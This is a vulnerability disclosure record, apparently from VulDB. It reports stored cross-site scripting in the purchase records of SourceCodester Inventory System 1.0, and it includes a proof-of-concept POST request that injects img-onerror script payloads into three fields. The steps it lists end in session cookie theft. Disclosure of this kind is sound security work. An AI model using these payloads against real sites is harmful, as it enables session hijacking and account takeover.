| 标题 | SourceCodester Inventory System 1.0 Cross Site Scripting |
|---|
| 描述 | A Stored Cross-Site Scripting (XSS) vulnerability was discovered in SourceCodester Inventory System 1.0. The vulnerability exists in the Purchase Records page (/purchases.php). The application does not sanitize user-supplied input for the Product_Name, Product_Code, and Vendor_Name parameters when saving a purchase via /api/transactions_handler.php?action=save_purchase. The malicious payloads are stored in the database and executed in the browser of any user who visits purchases.php. Multiple parameters are affected, allowing multiple XSS payloads to trigger simultaneously. DataTables renders stored data using innerHTML without encoding. The session cookie lacks the HttpOnly flag, enabling session theft and full account takeover.
PoC:
POST /product_inventory/Product_Inventory/api/transactions_handler.php?action=save_purchase
Content-Type: application/x-www-form-urlencoded
Product_Code=<img src=x onerror="alert('XSS-Product_Code')">&Product_Name=<img src=x onerror="alert('XSS-Product_Name')">&Hsn_Code=123&Vendor_Id=123&Vendor_Name=<img src=x onerror="alert('XSS-Vendor_Name')">&Purchase_Date=2026-10-02&Purchase_Units=123&Purchase_Cost=123&IGST=0&CGST=0&SGST=0&Total_Amount=100
Steps:
1. Login as any authenticated user
2. Send the above POST request
3. Navigate to /purchases.php
4. Multiple JavaScript alerts fire for Product_Code, Product_Name, and Vendor_Name
5. Attacker can steal admin session via document.cookie |
|---|
| 来源 | ⚠️ https://github.com/Mohnad-AL-saif/MyCVEs/blob/main/VulDB/Inventory-System/CVE-02-XSS-purchases.md |
|---|
| 用户 | Muhannad AlSaif (UID 101875) |
|---|
| 提交 | 2026-10-03 00時40分 (17 日前) |
|---|
| 管理 | 2026-10-18 19時10分 (16 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 421920 [SourceCodester Inventory System 1.0 Purchase Records transactions_handler.php?action=save_purchase Product_Name/Product_Code/Vendor_Name 跨网站脚本] |
|---|
| 积分 | 20 |
|---|